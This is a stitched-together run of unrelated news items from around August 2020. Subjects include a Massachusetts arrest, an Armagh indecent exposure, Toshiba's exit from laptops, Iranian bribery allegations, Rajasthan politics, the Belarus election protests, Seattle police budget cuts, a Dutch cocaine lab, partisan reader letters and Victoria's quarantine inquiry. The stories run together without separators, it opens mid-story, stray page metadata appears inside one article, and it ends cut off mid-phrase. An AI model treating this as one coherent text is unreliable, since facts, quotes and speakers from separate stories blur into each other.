Troopers claimed Baez said he would not go back to prison and indicated he would shoot at police who tried to arrest him. The Gardner man was armed with a semiautomatic firearm as well, according to state police. A handgun had also been found inside Baezs car during a previous traffic stop, law enforcement said. Authorities were waiting for the suspect to come out of the hotels front lobby and were eventually able to take him into custody without incident, state police said. While searching Baez, troopers found a loaded 9mm handgun with a 16-round clip in his fanny pack as well as roughly 13 grams of cocaine and six grams of heroin, according to authorities. The firearm will be examined to determine if it was the one used in the Aug. 2 shooting, state police said in their statement. Baez was taken to state polices Athol barracks for booking, and he was charged with several warrants, including one for attempted murder, assault and battery with a gun and related firearms offenses in connection with the Aug. 2 shooting. The Gardner man was charged with several other warrants as well, including indecent assault and battery, breaking and entering, larceny, possession of a silencer and other firearms offenses as well as reckless driving and having a young child in a vehicle without a car seat A Northern Ireland mother-of-two has spoken of her horror after a man masturbated in front of her as she walked home late one evening. It happened shortly before 11pm on Ogle Street in Armagh on Saturday night when the young woman, who did not wish to be named, encountered the man as she walked home via Thomas Street. Speaking to the Armagh i, the woman said she met a man dressed in a tracksuit as she passed local shops Euro Spar and Luckys bingo hall in the area. He walked up to the entrance before stopping to look across the road at me, she said. He then proceeded to pull the front of his tracksuit bottoms down and expose himself to me, luckily I was on the phone as I was alone at the time. I started to walk as fast as I could towards Chapel Lane as I live on Irish Street and needed to access my house through the back door. As I walked further away from the man, he changed his stance to keep eye contact with me and then started to arouse himself and for lack of a better word shake his penis while blankly staring at me. He did not laugh or act like this was a joke gone wrong but held an intimidating stare. This man was clearly acting like a sexual deviant and could possibly even capable of more deviant acts or even assault. The woman, who has two children aged six and four, said she wanted to raise awareness for younger girls in the area. She said: This alley way is a known hotspot for locals to drink, or use drugs, and I am scared of hearing something worse has happened in the future. I just feel responsible and need to raise awareness of the danger. I am genuinely frightened for other women and young teens that walk around there. She also appealed for the lack of public street lighting in the area to be addressed. The alleyway hasnt one single street light, she said. I am a local and have lived minutes away from this alley my whole life and in my teens have unknowingly walked in to drug use, drinking, sexual acts and have seen it used as some sort of horrendous playground for misconduct by locals and adults. Its about time something is done as its such a public area and a thoroughfare used by many, many people every day. The PSNI has said they received no report of the incident. Japanese multinational conglomerate Toshiba Corporation has officially exited the laptop industry last week after the company has transferred its remaining minority to Sharp. This ends the 35-year service of the company to the laptop industry. Two years ago, Toshiba sold an 80.1 percent stake of its laptop business to Sharp for $36 million and renamed the division Dynabook. In June, Sharp bought the remaining 19.1 percent of shares. Toshiba then released a statement on Aug. 4 that the deal was complete. "Under the terms of the share purchase agreement, Sharp exercised a call option for the remaining outstanding shares of Dynabook held by Toshiba. Toshiba has completed procedures for their transfer," Toshiba said in a statement. Toshiba in the Laptop Industry Toshiba first joined the industry in 1985 with its first made laptops. It claims to have been the first to make a mass-market computer. In the 1990s, the company was producing solid workhorses in the Satelite range and started mobile work with the small, thin, and light Portege range, according to a report. With these, Toshiba leads the world for world market share through the late 1990s and retain its position until the 2000s. Toshiba was often among the top five of all PC vendors. As the years go by, Toshiba devices have become "bland" compared to the always-impressive, ThinkPad, and the MacBook Air. Dell and HP also improved. The Register report said that Toshiba did not capture the consumers' imaginations, which did not help growth. In the 2010s, Lenovo, Dell, and HP have dominated PC sales. Toshiba then became a less likely brand included in the laptop shopping list. Toshiba to Sharp In 2018, Sharp Corp. announced its intention to but Toshiba's personal computer business. According to a Reuters report, the company also issued $1.8 billion in new shares to buy back preferred stocks from banks. The acquisition bought Sharp's return to the PC market it quit eight years ago. Sharp will use the scale of the parent company, Foxconn, to produce PCs more cheaply. This is just what they did with the manufacturing of TVs. "Foxconn is a PC contract manufacturer and has a great deal of expertise and production capacity," Hiromi Yamaguchi, senior analyst at Euromonitor International, was quoted in a report. Yamaguchi said this would prove a further catalyst for more Sharp and Foxconn synergies. Foxconn Foxconn, formally known as Hon Hai Precision Industry Co Ltd., bought Sharp two years ago. Sharp posted its first annual net profit in four years. This was mainly driven by cost cuts but also by Foxconn's sales network in China. Sharp said it was buying back preferred shares. These were issued to banks in return for a financial bailout, seeking to reduce high-interest payments, Sharp was famous for its high-end TVs and smartphone displays. However, it struggled to compete with other Asian rivals before being bought by Foxconn. The Osaka-based company is now seeking to get back the Sharp brand's license for TVs in North America, which it previously sold to China's Hisense Group. Check these out: Apple Stock Split News & Update: Tech Giant Splits Shares for Fourth Time in Company History; What Does This Mean? Apple & Healthcare: Tech Giant Meets With FDA, Ponders Health Apps Samsung News: Korean Tech Giant's DeX Beats Microsoft In Turning Phone Into PC Judiciary Spokesman Gholam-Hossein Esmaili on Tuesday announced that a former lawmaker has been arrested in connection with a massive corruption case in which the current Parliament Speaker Mohammad-Baqer Qalibaf allegedly paid 650 billion rials (around $25 million at the time) in bribes. Esmaili did not disclose the name of the lawmaker or his role in the corruption case. The case was initially revealed by a prominent conservative, Mostafa Mir-Salim who was recently re-elected as a representative of Tehran to parliament, the Judiciary spokesman said. In a radio interview on May 27, Mir-Salim said that one of the chairmen of the parliamentary committees received the 65o billion rials to withdraw a motion to probe a financial corruption case in Tehran Municipality in 2016, during Qalibaf's tenure as mayor. Mir-Salim has said that he has provided the Judiciary with "all of the evidence" about the bribery. In the Tenth Parliament, the Development Committee was in the center of a probe into corruption in Tehran Municipality. The former Revolutionary Guard general's successors in Tehran Municipality have claimed that more than $5 billion was misappropriated or wasted during Qalibafs term as mayor. Qalibaf who was chosen as speaker of the new hardliner-dominated Parliament on May 28 has not commented on the bribery allegations against him. Qalibaf has been implicated in several major corruption cases but so far has never been summoned to court and all the cases connected with his name have remained inconclusive. A major corruption case against Qalibaf dates back to 15 years ago and involves relations between his campaign team in the 2005 presidential elections and a gang of drug and fuel smugglers. Allegedly, Qalibaf helped the release of the smugglers from jail in return for money for his campaign. The authorities had kept the case under the wraps until the 2013 presidential campaign when Hassan Rouhani spoke about the case as a rival candidate. A third case against him and his colleagues involved giving "astronomically-priced properties," to Municipality officials and his friends. He was not summoned to court to answer for the allegations but a journalist who had revealed the case was arrested for libel. Qalibaf also allegedly paid 60 billion tomans ($20 million at the time) to a charity run by his wife Zahra Moshir. By PTI LUCKNOW: Samajwadi Party founder and former Uttar Pradesh chief minister Mulayam Singh Yadav's health is improving, the hospital where he is admitted to said on Tuesday. Yadav was admitted to Medanta Hospital here last Friday following an infection in the urinary tract. His test results for coronavirus were negative. "His condition is improving. He is much better (now)," Medanta Hospital Director Rakesh Kapoor told PTI on Tuesday. Kapoor had earlier said the 80-year-old SP leader also underwent ultrasound, blood and urine tests. SP spokesperson Rajendra Chaudhary had said on Saturday that party chief Akhilesh Yadav and his wife Dimple Yadav had visited the hospital on Friday night to enquire about the condition of the party patriarch. The mansion has seven full bathrooms, four half-bathrooms and four fireplaces. Its elegant features include high ceilings, French limestone floors, a paneled library and two staircases. The kitchen touts stone countertops, and the home also has a wood-paneled elevator, a clay tile roof and zinc-coated copper gutters. The lower level is outfitted with radiant heated floors and includes a rec room, a playroom and a private theater room which at least when the mansion was first listed had a framed poster of The Breakfast Club on the wall. Sachin Pilot, who engineered a rebellion against Ashok Gehlot government in Rajasthan with 18 more MLAs, has returned to the party fold. Pilot thanked Congress interim president Sonia Gandhi, Congress general secretary Priyanka Gandhi and former Congress chief Rahul Gandhi for addressing his grievances as well as of 18 other aggrieved MLAs. A meeting was held on Monday at Rahul Gandhi's residence with Pilot that was also attended by Priyanka Gandhi. Following this meeting, Congress president Sonia Gandhi decided that the party will constitute a three-member committee to address the issues raised by Pilot and the aggrieved MLAs and arrive at an appropriate resolution.The Congress party also released a statement that said, "They had a frank, open, and conclusive discussion. Pilot has committed to working in the interest of Congress and Congress government in Rajasthan".One possible agreement discussed during the meeting was favourable voting by Pilot and MLAs loyal to him in case of a trust vote during the upcoming Rajasthan assembly session. Pilot, also struck a placatory tone. He said, "We raised issues of principles before the Congress leadership, and welcome their assurance of a time-bound redressal of our grievances". The former Deputy CM of Rajasthan also added, "The party gives us post and can also take it back. I have no desire for any post but I wanted our self-respect to remain intact. I have contributed tot he party for 18-20 years now. We have always attempted to ensure the participation of people who worked". Pilot said, "Some personal remarks have been made against me. I feel there is no place for personal mudslinging in politics", in an apparent reference to Gehlot's "nikamma" remarks against him. The development marks a win for CM Gehlot who had reiterated that he has the number for the floor test and has been reluctant to accommodate Pilot. The afternoon party meeting was followed by a discussion between Priyanka Gandhi, Congress MP Ahmed Patel, KC Venugopal and the rebel MLAs. The meeting discussed accommodation of dissidents in a cabinet reshuffle. Meanwhile, rebel Congress MLAs started returning from Haryana to Jaipur. Bhanwarlal Sharma, one of the MLAs, met Gehlot, and said there are no camps in the Congress and the party stood united. All India Congress Committee (AICC) said all rebel MLAs will return ahead of the August 14 assembly session, and asserted that the Gehlot government was safe. Once all dissidents return, Congress will have a total strength of 107 MLAs in the 200-member state Assembly where the simple majority is 101. The Congress also has the support of a number of independent MLAs. BJP has 72 MLAs. Congress leaders also claimed that with this rapprochement, "BJP's conspiracy" to break the party has been dashed and the Congress leadership has not yielded to demands of removal of Gehlot as chief minister. The truce between Pilot, including 18 other MLAs and Gehlot government has ended the stalemate that triggered a prolonged crisis in the state. Pilot and 18 other MLAs have rebelled against the Ashok Gehlot-led Congress government in Rajasthan, leading to Pilot's sacking as deputy chief minister and state party chief. Also read: COVID-19 crisis: Deep economic slowdown inevitable, says Manmohan Singh; offers advice to Modi govt Also read: 23% migrant workers walked back to villages during coronavirus lockdown MINSK Belarusian opposition leader Svetlana Tikhanouskaya said on Tuesday she had fled abroad for the sake of her children, after two nights of clashes following the contested re-election of strongman President Alexander Lukashenko. Tikhanouskaya, a 37-year-old former English teacher, emerged from obscurity to mount the biggest challenge in years to Lukashenko, taking her husbands place in the campaign after he was jailed. You know, I thought that this whole campaign really had hardened me and given me so much strength that I could handle anything," she said, explaining her decision in a sombre video released on her husbands YouTube channel. But, probably, Im still the weak woman I was in the first place. I have made a very difficult decision for myself." Both she and the Belarusian authorities said she had not been forced to leave. There had been concern about Tikhanouskayas whereabouts after her campaign team said on Monday they had been unable to reach her by phone hours after she was known to have left a meeting with central election commission officials. And I know that many people will understand me, many will judge me and many will hate me. But, you know, God forbid being faced with such a choice the I was faced with," she said. So, people, take care please - no life is worth what is happening now. Children are the most important thing in our lives." At least one person died as police clashed with protesters on Monday after the opposition accused Lukashenko of rigging the vote amid widespread criticism from Western leaders. Helmeted police fired tear gas, rubber bullets and stun grenades and used batons to disperse thousands of people in Minsk in a second night of violence. Protesters set up barricades in several areas and threw petrol bombs. Local media reported clashes in other towns. In power for more than a quarter of a century, Lukashenko has compared the protesters to criminal gangs and dangerous revolutionaries with shadowy foreign backers. U.S. Secretary of State Mike Pompeo said the election was not free and fair" and condemned ongoing violence against protesters and the detention of opposition supporters". Foreign observers have not judged an election to be free and fair in Belarus since 1995, and the run-up to this months vote saw authorities jail Lukashenkos rivals and open criminal investigations of others who voiced opposition. Tikhanouskayas campaign rallies drew some of the biggest crowds since the fall of the Soviet Union in 1991. She was initially reluctant to stand, saying she had received an anonymous threat of having her children taken away. She had moved them abroad during the campaign. Her husband, Syarhei, had popularised a protest movement that compared Lukashenko to a cockroach character from a childrens fairytale. He was arrested in May. (Additional reporting by Alexander Marrow in Moscow and Andrius Sytas in Vilnius; writing by Matthias Williams; editing by John Stonestreet, Giles Elgood and Nick Macfie) Disclaimer: This post has been auto-published from an agency feed without any modifications to the text and has not been reviewed by an editor The G7 ambassadors during a meeting with Deputy Prime Minister of Ukraine Oleh Urusky, who is also the Minister for Strategic Industries, stressed the importance of protecting sensitive technology to safeguard economic and national security. "In a recent meeting, the G7 Ambassadors congratulated Deputy Prime Minister Oleh Urusky on his appointment. They stressed the importance of maintaining progress on reforming the defense industry and protecting sensitive technology to safeguard economic and national security," he U.S. Presidency of the G7 Ambassadors' Support Group said on its Twitter page on Tuesday. Its evening. Hes lying sprawled along a grassy slope, against a background of yellow flowers. The sky is pitch blue. The air is breezy. His head is resting against his hand. He is in a light pink T-shirt. The strap of a pale blue mask is dangling out from his pants pocket like a piece of fashion accessory. His face is bare. He seems lost in thoughts. He must be in love. Im in love, admits Muhammed Gulzar. Its Sunday evening and the supplier of beauty parlour products (makeup stuff such as lipstick, nail polish, mask, creams, shampoo...) is lounging in this central Delhi park to console his hearthe uses the Hindi word tasalli. He lives nearby, in a rented room in Sarai Kale Khan. Mr Gulzar is in his mid-20s and is missing a woman called Rubeena. I feel alone without her. He stays silent for a while, as if preparing to open his mouth to speak a profound revelation about his life, but seems to be struggling with some dilemma. Finally, he saysShe is my wife. He says he is also missing his son, Sufiyan. Both mother and son are away at the home of Mr Gulzars parents, in Madhubani. Isnt that district in Bihar famous for its art, with people painting their own house-walls with beautiful drawings? Mr Gulzar nods. Is his house similarly decked? He shakes his head, looking amused. Intently watching at a cloud drifting over the setting sun, the brooding man gives a brief biography of his relationship with Rubeena: We had a love marriage. I have been married to her for five years but I had known her for two years prior to that. Rubeenas mother used to run a small canteen for labourers in Nabi Karim, near the New Delhi railway station. This is where he first spotted his future wife. She would stand beside her Ammi, speaking nothing, doing nothing... she would stay there like a statue. Drawn by the enigma of her chuppi (silence), Mr Gulzar started to daily patronise the canteen and soon the ice broke between the two. We started to go to the zoo together, where we would spend a lot of time. Unlike in popular love stories or romantic movies, there was no protest from the couples respective families. We have always been staying together as a husband and wife, but some weeks before the lockdown, my parents suggested that she should come over to Madhubani for a few days, so that they could be with their grandchild. Mr Gulzar escorted her and the child to Bihar and rushed back to Delhi, intending to bring them back in two weeks. And then the coronavirus arrived, the lockdown happened, and Mr Gulzar continues to be without the woman he loves. And today I was missing her very much. So I came over to this park. Its been some time since the lockdown has been lifted but the lonely man is hesitating to get back his family, waiting for the pandemic to recede. He now takes out his mobile phone and scrolls through the photo albummost of the images have different poses of him flexing his musclesuntil reaching the portrait of a woman in a pink dupatta with a smiling young boy in white kurta pajamamy wife and my son. Mr Gulzar now brings the phone close to his face, closes his eyes and kisses the screen. Not long after, it is time for the park to close. COTTAGE HILLS - Donald D. Ennis Sr., 61, of Cottage Hills, was charged Monday with unlawful failure to register as a sex offender. He allegedly failed to register a change of address with the Madison County sheriff after having been convicted of failure to register in 2012, 2013, twice in 2014 and twice in 2018. Bail was set at $50,000. HARTFORD - Cameron A. Loftis, 18, of East Alton, was charged Friday with criminal damage to government supported property. He allegedly damaged fencing at Seventh Street Park. The damage was placed at more than $500. Bail was set at $15,000. ALTON - Tyler J. Ross, 28, of Raymond, was charged Friday with two counts of forgery. He allegedly tried to cash fraudulent checks at Schnucks Market on June 5 and June. 10. The June 10 check was drawn on the Illinois State Police Credit Union. The June 5 check was drawn on the Bank of America. Bail was set at $20,000. ALTON - Jonathon A. Graves, 28, of South Roxana, was charged Friday with burglary. He allegedly entered a 2005 Dodge Caravan in the 400 block of Brookside Avenue, Alton, on June 25 with the intent to commit a theft. Bail was set at $20,000. ALTON - Bradley W. Crane, 43, of Brighton, was charged Friday with aggravated domestic battery. He allegedly hit a woman in the mouth, knocking out one of her teeth, on Feb. 12. He was also charged with battery after having been convicted of domestic battery in 1997 and 1998. Bail was set at $30,000. ALTON - Jon S. Clark, 39, of the 900 block of Rixon Street, Alton, was charged Friday with unlawful possession of a controlled substance. He allegedly possessed less than 15 grams of fentanyl on Feb. 13. Bail was set at $15,000. HARTFORD - Clayton W. Sitzes, 27, of the 200 block of Willow Run, Moro, was charged Friday with possession of a stolen motor vehicle. He allegedly possessed a stolen 2008 Dodge Caravan on Thursday. Bail was set at $50,000. Seattle authorities said the cut was a down payment for future reductions, but it falls short of protesters demands. Seattles police chief was expected to publicly announce her resignation on Tuesday, after informing her colleagues late Monday night that she would be retiring from the department effective September 2, according to an email published by The Seattle Times. Her resignation came after the city council on Monday approved a reduction in the budget of the citys police department of less than one percent after months of protests demanding that it defund the force. By a vote of 7-1, the council approved a revised 2020 budget that reduced the departments budget by $3.5m for the remainder of the year and invested $17m in community public safety programmes. The city council signalled deeper cuts might be on the way. I look forward to seeing how this department moves forward through the process of re-envisioning public safety, Police Chief Carmen Best said in her email to the force. Best, the first African-American woman to serve as Seattles police chief, said she is confident the department will make it through these difficult times. Seattle Mayor Jenny Durkan said she accepted Bests resignation with a very heavy heart I regret deeply that she concluded that the best way to serve the city and help the department was a change in leadership, in the hope that would change the dynamics to move forward with the City Council. The cut to the departments $409m annual budget fell far short of the 50 percent demanded by protesters following the death of George Floyd in Minneapolis in police custody on May 25. The Seattle Police Department (SPD) did not immediately respond to Reuters request for comment. BREAKING: Seattle Police Chief Resigning After Democrat City Council Votes To Cut Police Budget https://t.co/stP5Z4VXx3 Ryan Saavedra (@RealSaavedra) August 11, 2020 City Council President Lorena Gonzalez called the cut a down payment for future potential reductions to the departments budget. Defunding advocates oppose the militarisation of US police forces and say officers are called on to deal with issues like addiction, mental illness and homelessness that could be better addressed by social services. In the wake of Floyds death, protestors set up an autonomous zone in Seattle, called the Capitol Hill Autonomous Zone which was rebranded the Capitol Hill Organized Protest (CHOP) and took over the police departments east precinct and held cultural events and protests. CHOP was disbanded by police after a spate of shootings. Cut budget Law-enforcement supporters say cuts to police spending will lead to more crime. The council begins 2021 budget talks in September. Durkan and Best had earlier signalled their willingness to rethink policing and consider $76m in proposed cuts to the departments 2021 budget. The revised 2020 budget came after a council inquest into the department, which revealed that 56 percent of 911 calls are for noncriminal activity and only three percent of calls result in arrest. The rebalanced budget reduces executive pay and eliminates 100 police officers. It also reduces the budget for travel, public affairs, training and recruitment and makes cuts to specialised units like SWAT, harbour patrol, homeland security, mounted patrol and officers in schools. The budget also removes officers from the citys homeless outreach team. More than a dozen business and neighbourhood groups signed a letter from the Downtown Seattle Association opposing that move. In defunding SPD, the council moved with speed and pettiness rather than with precision and thoughtfulness, the association said in a statement. Multiple demonstrations for and against defunding the police have taken place at city hall over the past week. Anti-police protesters smashed windows at businesses perceived to support the police and set fire to the construction site at a juvenile detention facility. THE PROBLEM WITH JOE The Democrats dont want Biden to debate Trump. They are admitting he cant do it. They know they are pushing a stupid person to be president. And if he backs out then we all know hes not capable of standing up to Trump. Biden is a chicken. Hes scared. Hell use this virus to keep him hidden. Hes such a wimp. He knows he cant do to do a debate; if asked a question he doesnt want to answer, hell get very angry. He does have a temper, thats part of his problem. If foreign leaders had to ask him a question he didnt like, how would he handle it as president? You cant be nasty to other leaders and China would boil him up. Hed be no good as president of the United States. He has no patience. HE CAN RUN BUT HE CANt HIDE PUTINS PUPPET Say what you will about Hillary Clinton, had she become president you can bet she would not have disbanded our pandemic response team or canceled funding for coronavirus vaccine research, as Trump did soon after taking office. Rick from Aston thinks she wouldnt have us in better shape than we are now. Have you noticed we are the coronavirus death capital of the entire world? We have had by far the worst response of any developed country. Most sensible people would have listened to the scientists and that alone would have made them better at being president than Donald Trump. Trump is dangerously incompetent and he seems more beholden to Russian than to America. He pulled our troops out of Syria and now out of Germany, and he sided with Vladimir Putin over our own intelligence agencies. How could you not think Putin wants him re-elected? Joe Biden may not be a perfect candidate, but he respects science and he isnt a traitor. Its a low bar! Re-electing Trump would be the death of America. Vote for Biden like your life and country depend on it. PJ GET INFORMED Portland, Ore., has just celebrated their 73rd consecutive night of violence in demonstrations and defiance against authority. BLM and Antifa are behind this. Seattle, L.A., and San Francisco arent that far behind. NYC just had their 1,000th homicide for 2020; 60% over 2019. Chicago has looting and violence all the time especially on weekends. Are Philadelphia and Chester trying to keep up? Our U.S. Attorney, William Barr, says that a huge left interference movement is behind this to encourage clashes and division in our country. Arent large Democratic cites wonderful? Are Philadelphia and Chester following suit? All Southeast Pennsylvania voters must take notice of these facts and try to be more intelligent when you vote. RIDDLEWOOD KEN WWJD I am patiently waiting for Christine Flowers to follow up her alarming warning column of a couple months ago about the systematic burning of Catholic churches. I seem to recall that there was a horrific number of attacked churches. Four, I think! Since the media and law enforcement werent taking those attacks on Catholicism seriously enough, we still may not know what nefarious person or organization was behind it all. Hopefully, Christine has been keeping up with the halfhearted investigation and will let us know the results. Was it atheists? Satanists? Muslims? Abortion providers? Some hellish consortium of all of them? And who will protect our Catholic churches here in Delco from such a fate? Hold on! We have a bunch of super-patriots who love to protect things, like those who prevented those BLM marchers from vandalizing and burning everything in their path the way, you know, all BLM marchers do. The flag-waving patriots can station themselves outside the churches straddling their motorcycles and rev their engines to scare off any potential bad actors. Thats exactly what Jesus would do. JB MORE TRUTH NEEDED Responding to Mental Cases: How right you are. Joe Biden cannot speak without saying Hey Man. Don Lemon is a disgrace to CNN. We need more people like Tucker Carlson, Sean Hannity and Lou Dobbs. They speak the truth. (Newser) Police in the Netherlands say a former riding school near a sleepy village housed the biggest cocaine lab they've ever uncovered. Police announced Tuesday that 17 arrests had been made in connection with a raid on the cocaine "laundry" in the northern village of Nivejeen, the Guardian reports. Police spokesman Andre van Rijn told reporters that based on the number of people who worked at the facility, the layout, and the production equipment, investigators believe the converted riding school could have produced up to 440 pounds of cocaine a day. Accommodation for workers was found in the stables. story continues below Police say they seized equipment, around 100 pounds of cocaine, and tens of thousands of pounds of chemicals, the BBC reports. At a different location, they found more than 100 tons of "carrier material," mostly clothing, that had been impregnated with cocaine that could be removed with the use of chemicals. Police say 13 of the 17 people detained were Colombian citizens, along with one Turkish national and three Dutch citizens, including the 64-year-old owner of the riding school building and stables. Neighbors say the man, a registered horse dealer and breeder, lived in a building on the site with his 92-year-old mother and was regularly seen in the village. (Read more Netherlands stories.) Share this article Whatsapp Facebook Twitter Linkedin Tatiana Kalinovskaya (Agence France-Presse) Minsk, Belarus Tue, August 11, 2020 08:00 526 6657ac82168da9fa101c8a4066cf9016 2 World Belarus,election,politics,opposition,protest,anti-government Free One man died Monday in Belarus where police fired rubber bullets and tear gas for a second day to quash protests against a disputed weekend presidential election which handed a sixth term to strongman Alexander Lukashenko. Svetlana Tikhanovskaya -- a political novice who has managed to galvanize the opposition -- called on Lukashenko, in power since 1994, to step down, saying she had won Sunday's vote. The whereabouts of Tikhanovskaya, a 37-year-old mother of two, were not known to her campaign staff on Monday night, her spokeswoman told AFP. She decided to run for president after the authorities jailed her husband, popular blogger Sergei Tikhanovsky, and barred him from running. Tikhanovskaya had earlier said she would not take part in the demonstrations that have been brutally quashed, leading to widespread Western condemnation. Police said a protester died when an explosive device went off in his hand Monday night, confirming the first casualty of post-election protests. "One of the protesters tried to throw an unidentified explosive device at members of law enforcement. It exploded in his hand," the interior ministry said, adding that he died of his injuries. 'Shame!' Several thousand protesters took to the streets of the capital Minsk for a second night of post-election rallies, with opposition supporters shouting "Shame!" and "Long Live Belarus!" and waving flags or honking their cars. Police in full riot gear fired tear gas and rubber bullets on them and injured a female journalist, a witness told AFP. Blasts that sounded like stun grenades were also heard. Independent Belarusian media including tut.by also reported the use of force, saying some protesters were erecting barricades. Tikhanovskaya, whose surprise candidacy posed the biggest challenge to Lukashenko in years, said the vote had been rigged. "The authorities should think about how to peacefully hand over power to us," she told reporters. "I consider myself the winner of this election." Later Monday Tikhanovskaya went to lodge a complaint with the Central Election Commission where she spent three hours, her spokeswoman Anna Krasulina told AFP. Safety concerns After leaving the commission headquarters Tikhanovskaya has gone incommunicado, said Krasulina without providing further details. Lithuania's foreign minister also said he could not reach Tikhanovskaya for several hours late Monday. "I tried to reach her for several hours but her whereabouts are unknown since she went to the election commission to file a protest over the vote count," Linas Linkevicius told AFP late Monday. "It raises concern about her safety," Linkevicius told AFP. Earlier Monday, election officials confirmed Lukashenko's re-election for a sixth term, saying he had won more than 80 percent of the vote, with Tikhanovskaya coming second with 10 percent. The 65-year-old former collective farm boss has ruled ex-Soviet Belarus since 1994, stamping out dissent and earning the nickname of "Europe's last dictator". White House 'deeply concerned' The White House said Monday it was "deeply concerned", adding that "intimidation of opposition candidates and the detention of peaceful protesters" were among numerous factors that marred the election and its aftermath. European governments also questioned the results, with Germany voicing "strong doubts" about the conduct of the vote and France urging restraint. But Russian President Vladimir Putin congratulated Lukashenko, a longtime ally, as did Chinese leader Xi Jinping. Lukashenko was defiant, vowing he would not allow Belarus to be "torn apart." "We recorded calls from abroad. There were calls from Poland, Britain and the Czech Republic, they were directing our -- forgive me -- sheep," Lukashenko said. Thousands took to the streets of Minsk and other cities on Sunday night to denounce the vote, sparking clashes with members of law enforcement. Police said they detained some 3,000 people, around 1,000 of them in Minsk. Shocking images released by pro-opposition media and posted online showed police firing stun grenades and rubber bullets into the crowds and a police van ramming into the demonstration and running down a protester. Young protesters were seen covered in blood, lying immobile on the ground or being dragged away by police. The interior ministry said dozens were injured in the capital, accusing some protesters of sparking confrontations. The Belarusian Investigative Committee said it had opened 21 criminal probes into "mass unrest" and using violence against police and detained more than 80 people. "I am ashamed of what interior ministry forces did, I served in these forces," Sergei, a 45-year-old sheet metal worker, told AFP. The federal government offered troops to help run Victoria's hotel quarantine on 'multiple occasions' - but the state government refused and decided to use private security guards instead, it was revealed today. In an inquiry on Tuesday morning, Premier Daniel Andrews said ADF support was not offered after the quarantine program was set up in March. But Defence Minister Linda Reynolds released a damning statement saying repeated offers were snubbed. Australian Defense Force personnel and policemen on patrol in Melbourne last week This image taken outside one of Melbourne's quarantine hotels appears to support the accounts of dozens of workers and returned travellers who say private security guards (pictured) failed to take the quarantine operation seriously before the virus escaped Victoria's deadly second wave was sparked after coronavirus escaped from hotel quarantine, which was enforced by private security firms, in late May. Security guards have been accused of breaching social distancing rules, allowing separate families to play cards and even having sex with returned travellers. The premier was today asked why he chose not to use the police or the ADF to enforce the quarantine program. He said: 'I don't believe ADF support was on offer. It's been provided in limited circumstances in New South Wales, not to provide security as such but to provide transportation from the airport to hotels. Under pressure: Daniel Andrews answers question during an inquiry via Zoom 'I think it is fundamentally incorrect to assert that there was hundreds of ADF staff on offer and somehow someone said no. That's not, in my judgement, accurate.' However, Senator Reynolds said her department offered support 'multiple times' and was repeatedly turned down. She said in a statement: 'ADF officials asked whether Victorian authorities required assistance with its mandatory quarantine system on multiple occasions. 'No request for quarantine support was subsequently received from Victoria at that time.' The statement also made clear that ADF troops were deployed in both Queensland and New South Wales to guard returned travellers as well as transport them. Opposition leader Michael O'Brien said Daniel Andrews had been caught lying. 'Andrews himself claimed ADF would be used from the very start of the program,' he wrote on Twitter. Mr O'Brien shared an image of a statement released by the premier on 27 March - when quarantine program was announced - which said: 'It has also been agreed that the Australian Defence Force will be engaged to support the implementation of these arrangements.' Daily Mail Australia has contacted Mr Andrews' office for comment. A very quiet Bourke Street is seen on August 11 as Melbourne endures its second week of stage-four lockdown Opposition leader Michael O'Brien said Daniel Andrews had been caught lying about his decision to use private security guards The only request for ADF support for quarantine from the Victorian government came on 24 June, Senator Reynolds said. On that day Victoria's Emergency Management Commissioner Andrew Crisp requested 850 troops to help with hotel quarantine compliance - but the request was withdrawn the next day. Asked why it was withdrawn, Mr Andrews said: 'The question you're referring to, you'd need to speak to the person who made that request because it was not made by anybody in a position of authority.' During the inquiry today, the premier was also asked whose idea it was to man hotel quarantine with private security guards instead of the police and army troops. Mr Andrews said the Victorian government had already been using private security guards for quarantining health workers and vulnerable people before the quarantine program for returned travellers began. 'It was essentially an extension of a program that we had already stood up. Nothing more, nothing less,' he said. The premier was asked if he regrets 'the decision to employ private security guards in hotel quarantine'. He replied: 'No-one wanted a second wave of the virus. But none of us have the luxury of going back in time.' Department of Defence hits back at Daniel Andrews: Full statement Below is the Department of Defence's full statement on ADF support: Throughout the pandemic the Australian Defence Force (ADF) has been postured to respond to requests for support from the states and territories at very short notice. From 21 March 2020, ADF planning teams were established in every state and territory to rapidly facilitate any requests for support. Following the Prime Minister's offer on 27 March 2020 for ADF support to states and territories with the new mandatory 14-day quarantine period for international arrivals, the ADF discussed requirements with relevant state and territory authorities. On 28 March 2020, Victorian authorities advised that Victoria was not seeking ADF assistance with mandatory quarantine arrangements. The ADF was consistently advised that its assistance was not required for any 'public facing roles' in Victoria. ADF officials asked whether Victorian authorities required assistance with its mandatory quarantine system on multiple occasions. No request for quarantine support was subsequently received from Victoria at that time. On 12 April 2020, Victorian authorities reaffirmed to ADF officials that all quarantine compliance monitoring operations were within Victorian authorities' capacity. Defence agreed to requests for support to quarantine compliance from Queensland and NSW on 28 March. In NSW, ADF personnel began supporting the reception of international arrivals at Sydney Airport and undertaking quarantine compliance monitoring at hotels the following day. In Queensland, ADF personnel began supporting reception of international arrivals at Brisbane airport the following day, and supported quarantine compliance monitoring at hotels from 31 March. On 14 April 2020, the ADF shared observations on best practice quarantine compliance monitoring operations with all state and territory police commissioners, including the success of interagency operations between the ADF and NSW Police. On 24 June 2020, Defence agreed to a Victorian Government request for 850 ADF personnel to assist with hotel quarantine compliance. The request was withdrawn by the Victorian Government the following day. The decision to withdraw the request is a matter for the Victorian Government. On 3 August 2020, the ADF agreed to provide up to 50 personnel to support Western Australian authorities with support to hotel quarantine. Under Defence Assistance to the Civil Community (DACC) arrangements, Defence provides assistance to states and territories when requested through Emergency Management Australia. DACC arrangements are predicated on states and territories requesting Defence assistance. Advertisement Mr Andrews was the first witness called at the second sitting of the Victorian Public Accounts and Estimates Committee's COVID-19 Inquiry on Tuesday. Victoria's Chief Health Officer Brett Sutton has previously said it is conceivable that all Victoria's second-wave cases arose from security employed at hotels unwittingly carrying the virus out of quarantine. The debacle first came to public attention on May 27 when the infection of a security guard working at the Rydges on Swanston hotel in Carlton, inner-north Melbourne was announced. The following week, on June 6, the spread of the deadly virus appeared under control as zero cases were recorded for the first time since March 5. But on June 17 an outbreak erupted at the Stamford Plaza in Melbourne's CBD and 21 new cases were recorded across the state. It emerged that guards working for private security firms - contracted by the Andrews government to run the quarantine scheme - had breached social distancing requirements and failed to enforce the rules. On Tuesday Victoria recorded 19 deaths and 331 cases of coronavirus, taking the state's COVID-19 death toll to 247 and the national figure to 332. New daily case numbers have declined in Victoria since the peak of 725 on 5 August. Staff inside a hotel in Melbourne are seen moving luggage for guests in quarantine on June 25 New Delhi: Civil Aviation 